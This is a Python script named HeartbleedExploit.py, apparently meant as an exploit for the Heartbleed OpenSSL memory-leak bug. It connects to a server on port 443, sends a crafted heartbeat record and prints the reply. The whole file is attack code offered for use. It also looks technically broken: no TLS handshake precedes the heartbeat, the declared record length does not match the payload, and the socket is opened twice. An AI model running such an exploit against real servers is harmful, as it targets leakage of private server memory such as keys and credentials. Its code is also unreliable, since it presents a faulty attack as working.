HeartbleedExploit.py

import socket
import struct
from typing import Optional, Union, Tuple


class HeartbleedExploit:
    def __init__(self, server: str, port: int = 443) -> None:
        self.server: str = server
        self.port: int = port
        self.socket: Optional[socket.socket] = None

    def __enter__(self) -> "HeartbleedExploit":
        self.connect()
        return self

    def __exit__(self, exc_type, exc_val, exc_tb) -> None:
        self.disconnect()

    def connect(self) -> None:
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.connect((self.server, self.port))

    def disconnect(self) -> None:
        if self.socket:
            self.socket.close()

    def send_heartbeat(self, payload: bytes) -> None:
        if not self.socket:
            raise RuntimeError("Socket is not connected.")
        self.socket.send(b"\x18\x03\x00\x03\x01" + payload)

    def receive_heartbeat(self) -> Union[None, bytes]:
        if not self.socket:
            raise RuntimeError("Socket is not connected.")
        header: bytes = self.socket.recv(5)
        if header:
            typ, version, length = struct.unpack(">BHH", header)
            data: bytes = self.socket.recv(length)
            return data

    def exploit(self) -> None:
        try:
            self.connect()
            # Heartbeat request with payload length of 1 byte
            payload: bytes = b"\x01\x00" + b"\x00\x00"
            self.send_heartbeat(payload)
            data: Optional[bytes] = self.receive_heartbeat()
            if data:
                print("Received data from server:", data)
            else:
                print("No data received from server.")
        finally:
            self.disconnect()


if __name__ == "__main__":
    server_address: str = "vhost"
    with HeartbleedExploit(server_address) as exploit:
        exploit.exploit()